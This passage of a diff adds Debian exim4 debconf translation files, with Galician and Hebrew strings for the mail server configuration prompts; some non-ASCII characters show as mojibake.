paquete" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 ten a configuración separada nun paquete adicado, exim4-config. Para " +"reconfigurar Exim4, empregue \"dpkg-reconfigure exim4-config\"." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "sitio de Internet; o correo envÃase e recÃbese directamente por SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "o correo envÃase por un servidor; recÃbese por SMTP ou fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "o correo envÃase por un servidor; non hai correo local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "só entregas locais; non está nunha rede" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "non configurar neste momento" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipo xeral de configuración do correo:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Escolla o tipo de configuración do servidor de correo que máis se axuste ás " +"súas necesidades." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Os sistemas con enderezos IP dinámicos, incluÃndo os que usan módems, " +"normalmente deberÃan configurarse para que envÃen o seu correo saÃnte a " +"outra máquina para que esta o entregue, porque moitos sistemas receptores de " +"correo en Internet bloquean, para se protexer do spam, o correo que chega de " +"enderezos IP dinámicos." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistema cun enderezo IP dinámico pode recibir o seu propio correo, ou " +"pode desactivarse por completo a entrega local (agás o correo de root e " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "¿Quere deixar o sistema de correo sen configurar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Ata que configure o sistema de correo, este non ha poder funcionar. Pode " +"configuralo máis adiante á man ou executando \"dpkg-reconfigure exim4-config" +"\" coma administrador." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nome de correo do sistema:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"O \"nome de correo\" é o nome de dominio que se emprega para completar os " +"enderezos de correo que non teñen un nome de dominio." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Este nome tamén se ha empregar noutros programas; deberÃa ser o nome de " +"dominio completo (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Por exemplo, se un enderezo de correo no servidor local fose foo@example." +"org, o valor correcto para esta opción habÃa ser example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Este nome non ha aparecer nas liñas From: das mensaxes saÃntes se activa a " +"rescritura." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Outros destinos para os que se acepta correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Introduza unha lista de dominios separados por signos de punto e coma (;) " +"para os que esta máquina se debe considerar destinataria final. Estes " +"dominios adoitan chamarse \"dominios locais\". O nome local (${fqdn}) e " +"\"localhost\" sempre se engaden á lista de aquÃ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Por defecto tódolos dominios locais trátanse igual. Se a.exemplo e b.exemplo " +"son dominios locais, as mensaxes dirixidas a acc@a.exemplo e acc@b.exemplo " +"entréganse ao mesmo destino final. Se quere que os dominios diferentes se " +"traten de xeitos diferentes, ha ser necesario editar despois os ficheiros de " +"configuración." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Dominios para os que se remite correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Introduza unha lista de dominios separados por signos de punto e coma (;) " +"para os que este sistema ha remitir correo, por exemplo coma MX de respaldo " +"ou pasarela de correo. Isto significa que este sistema ha aceptar correo " +"destinado a eses dominios enviado desde calquera sitio de Internet e " +"entregalo de acordo coas regras de entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Non mencione aquà os dominios locais. Pódense empregar comodÃns." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máquinas para as que se remite correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Introduza unha lista de rangos de enderezos IP separados por signos de punto " +"e coma (;) para os que este sistema ha remitir calquera mensaxe de xeito " +"incondicional, funcionando coma servidor de correo." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"DeberÃa empregar o formato estándar de enderezo/prefixo (por exemplo, " +"194.222.242.0/24 ou 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Se este sistema non debe ser servidor de correo de ningunha outra máquina, " +"deixe esta lista baleira." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nome de dominio visible para os usuarios locais:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Activouse a opción de ocultar o nome de correo local no correo saÃnte. Polo " +"tanto, é necesario especificar o nome de dominio que este sistema debe " +"empregar na parte de dominio dos enderezos de envÃo dos usuarios locais." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Enderezo IP ou nome do servidor de correo saÃnte:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Introduza o enderezo IP ou o nome do servidor de correo que ten que empregar " +"este sistema. Se o servidor só acepta correo nun porto distinto de TCP/25, " +"engada dous signos de dous puntos (::) e o número de porto (por exemplo, " +"servidor.exemplo::587 ou 192.168.254.254::2525). Tamén hai que duplicar os " +"signos de dous puntos dos enderezos IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Se o servidor de correo saÃnte precisa de autenticación, consulte os " +"ficheiros README especÃficos de Debian no directorio /usr/share/doc/exim4-" +"base para ver notas sobre a configuración da autenticación SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatario do correo do administrador e postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"O correo para \"postmaster\", \"root\" e outras contas do sistema ten que se " +"redirixir á conta de usuario real do administrador do sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Se este valor se deixa baleiro, ese correo hase gravar en /var/mail/mail, o " +"que non se recomenda." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Teña en conta que o correo do postmaster deberÃa lerse no sistema ao que se " +"dirixe, no canto de o redirixir a outro sitio, asà que (alomenos un de) os " +"usuarios que escolla non deberÃan redirixir o seu correo fóra desta máquina. " +"Pode empregar o prefixo \"real-\" para forzar a entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Se indica varios nomes de usuario, sepáreos con espazos." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Enderezo IP no que esperar as conexións SMTP entrantes:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Introduza unha lista de enderezos IP separados por signos de punto e coma " +"(;). O servizo de escoita por SMTP de Exim ha escoitar en tódolos enderezos " +"IP desta lista." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Se deixa este valor en branco, Exim ha esperar conexións en tódolas " +"interfaces de rede dispoñibles." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Se este sistema só recibe mail directamente de servizos locais (e non " +"doutros servidores), aconséllase que prohiba as conexións externas ao " +"servizo Exim local. Estes servizos inclúen programas de email (MUAs) que só " +"se conectan a localhost, asà coma fetchmail. Non son posibles as conexións " +"externas ao introducir 127.0.0.1 aquÃ, xa que iso desactiva a escoita en " +"interfaces de rede públicas." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "¿Minimizar o número de consultas DNS?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"No modo normal de funcionamento, Exim fai consultas DNS no inicio e cando " +"recibe ou envÃa mensaxes. Isto faise para fins de rexistro e permite " +"minimizar o número de valores incrustados na configuración." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Se este sistema non ten un servizo de resolución DNS completo dispoñible en " +"todo momento (por exemplo, se para se conectar a Internet emprega un módem " +"con chamada baixo demanda), isto pode ter consecuencias non desexadas. Por " +"exemplo, iniciar Exim ou procesar a cola (incluso sen mensaxes agardando) " +"poderÃa causar unha chamada telefónica custosa." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Esta opción deberÃase seleccionar se este sistema emprega chamada baixo " +"demanda. Se ten acceso contÃnuo a Internet deberÃa desactivarse esta opción." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuración do servidor de correo" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "¿Partir a configuración en ficheiros pequenos?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Os paquetes de Exim4 de Debian poden empregar \"configuración contÃnua\", un " +"só ficheiro monolÃtico (/etc/exim4/exim4.conf.template) ou \"configuración " +"partida\", na que os ficheiros de configuración de Exim se constrúen a " +"partires duns 50 ficheiros pequenos armacenados en /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"A configuración contÃnua axéitase máis a modificacións grandes e adoita ser " +"máis estable, mentres que a configuración partida ofrece un xeito cómodo de " +"facer pequenas modificacións pero é máis fráxil e poderÃa romper se se " +"modifica sen coidado." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Hai unha discusión máis detallada sobre a configuración partida e contÃnua " +"nos ficheiros README especÃficos de Debian de /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "¿Agochar o nome local no correo de saÃda?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Pódense rescribir as cabeceiras do correo de saÃda para que pareza que se " +"xerou nun sistema diferente. Se se selecciona esta opción hanse rescribir " +"\"${mailname}\", \"localhost\" e \"${dc_other_hostnames}\" nas cabeceiras " +"From, Reply-To, Sender e Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Formato mbox en /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formato Maildir no directorio do usuario" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Método de entrega para o correo local:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim pode armacenar o correo que se entrega localmente en varios formatos. " +"Os máis habituais son mbox e Maildir. Mbox emprega un só ficheiro para todo " +"o cartafol de correo armacenado en /var/mail/. Co formato Maildir, cada " +"mensaxe grávase nun ficheiro separado en ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Teña en conta que a maiorÃa das ferramentas de correo de Debian esperan que " +"o método de entrega local sexa mbox por defecto." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "¿Mover as mensaxes sen enviar de exim 3 ao directorio de traballo de " +#~ "exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Hai mensaxes sen enviar no directorio de traballo de exim 3 (ou exim-tls " +#~ "3), /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Se escolle esta opción hanse mover estas mensaxes ao directorio de " +#~ "traballo de exim4 (/var/spool/exim4/input/), no que exim4 as ha xestionar." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Isto só funciona nun sentido: Exim4 pode xestionar o directorio de " +#~ "traballo de exim 3 pero non ao revés. Se rexeita esta opción, terá que " +#~ "mover as mensaxes vostede mesmo ou non se han entregar nunca." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Se deixa esta lista baleira Exim non ha facer entregas locais." + +#~ msgid "" +#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" +#~ "versa." +#~ msgstr "" +#~ "Isto só funciona nun sentido: exim4 pode xestionar o directorio de " +#~ "traballo de exim(v3) pero non ao revés." + +#~ msgid "" +#~ "So it is only advisable to move the messages only if it is not planned to " +#~ "go back to Exim(v3). If a rollback might be necessary, it is a better " +#~ "idea to refrain from moving the messages now but moving them manually at " +#~ "a later time." +#~ msgstr "" +#~ "Polo tanto, só é aconsellable mover as mensaxes se non planea voltar a " +#~ "Exim(v3). Se é posible que sexa necesario voltar, é mellor idea que non " +#~ "mova agora as mensaxes senón movelas despois." + +#~ msgid "" +#~ "Domains listed here need to be separated by semicolons. Wildcards may be " +#~ "used." +#~ msgstr "" +#~ "Os dominios desta lista teñen que ir separados por signos de punto e coma " +#~ "(;). Pódense empregar comodÃns." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Mova as mensaxes só se non pensa voltar a exim(v3); noutro caso, non " +#~ "deberÃa movelas agora senón despois a man cando teña convertida a " +#~ "configuración." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Estes dominios son dominios para os que pode aceptar correo dende " +#~ "calquera lugar de Internet. Non mencione aquà os dominios locais." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Xa que activou a ocultación do nome de correo local no correo saÃnte, " +#~ "debe especificar o nome de dominio para o correo procedente dos usuarios " +#~ "locais; adoita ser o da máquina no que normalmente recibe o correo." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "¿Onde han ler o correo os seus usuarios?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Máquina que xestiona o correo saÃnte desta máquina (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Introduza o nome da máquina ao que se envÃa o correo saÃnte." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Active esta caracterÃstica se emprega marcación baixo demanda; se non, " +#~ "desactÃveo." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Se non está seguro non deberÃa empregar unha configuración partida." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "convertir manualmente dende unha configuración manual de Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "¿Configurar Exim4 a man?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Indicou que ten unha configuración manual de Exim 3. Para convertila a " +#~ "Exim 4 pode empregar a ferramenta exim_convert4r4(8) trala instalación. " +#~ "Consulte os ficheiros /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "e /usr/share/doc/exim4-base/README.Debian.gz ." + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "Ata que configure o seu sistema de correo, non ha poder funcionar." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "O seu \"nome de correo\" é a parte correspondente ao nome do servidor no " +#~ "enderezo que aparece nas mensaxes saÃntes de news e correo (a parte que " +#~ "hai á dereita da arroba), a menos que se agoche mediante rescritura." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Introduza aquà as redes das máquinas locais para as que acepta remitir o " +#~ "correo." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "DeberÃa incluÃr unha lista con tódalas máquinas que han empregar este " +#~ "servidor coma \"smart host\"." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Ten que poñer signos de dous puntos dobres (::) nos enderezos IPv6 (por " +#~ "exemplo, 5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Introduza unha lista de enderezos IP separados por signos de dous puntos " +#~ "(:). Ten que dobrar os signos (::) nos enderezos IPv6 (por exemplo, " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "A configurar Exim v4 (exim4-config)" diff --git a/debian/po/he.po b/debian/po/he.po new file mode 100644 index 0000000..2c7bd9c --- /dev/null +++ b/debian/po/he.po @@ -0,0 +1,617 @@ +# translation of he.po to Hebrew +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# Developers do not need to manually edit POT or PO files. +# +# Lior Kaplan <kaplan@debian.org>, 2006. +msgid "" +msgstr "" +"Project-Id-Version: he\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-16 10:01+0200\n" +"Last-Translator: Baruch Even <baruch@debian.org>\n" +"Language-Team: Hebrew <debian-hebrew-common@lists.alioth.debian.org>\n" +"Language: he\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "להסיר דו×ר ×©×œ× ×”×•×¢×‘×¨ מה-spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"×™×©× ×Ÿ הודעות ×©×œ× × ×©×œ×—×• ב-spool של exim ×©× ×ž×¦× ×‘×¡×¤×¨×™×” /var/spool/exim4/input. " +"הסרה של Exim ×ª×’×¨×•× ×œ×”× ×œ×”×™×©×ר במצב ×–×” עד ×”×ª×§× ×” מחדש של Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"×× ×פשרות ×–×ת ××™× ×” × ×‘×—×¨×ª, ספריית ×”-spool תשמר, ובכך תת×פשר שליחה של הודעות " +"×©× ×ž×¦×ות בתור השליחה ל×חר ×”×ª×§× ×” מחדש של Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "הגדר מחדש ×ת החבילה exim4-config ×‘×ž×§×•× ×ת החבילה ×”×–×ת" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"קבצי ההגדרות של Exim4 הופרדו לחבילה ייעודית, exim4-config. על ×ž× ×ª ×œ×©× ×•×ª ×ת " +"ההגדרות של Exim4 יש להשתמש ב-'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "×תר ××™× ×˜×¨× ×˜; דו×ר × ×©×œ×— ומתקבל ישירות ×¢\"×™ SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "דו×ר × ×©×œ×— ×¢\"×™ מ×רח ×—×›×; מתקבל דרך SMTP ×ו fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "דו×ר × ×©×œ×— ×¢\"×™ מ×רח ×—×›×; ×ין דו×\"ל מקומי" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "חלוקת מקומית בלבד; המחשב ×œ× × ×ž×¦× ×‘×¨×©×ª" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "×ין הגדרות בשלב ×–×” " + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "סוג כללי של הגדרות 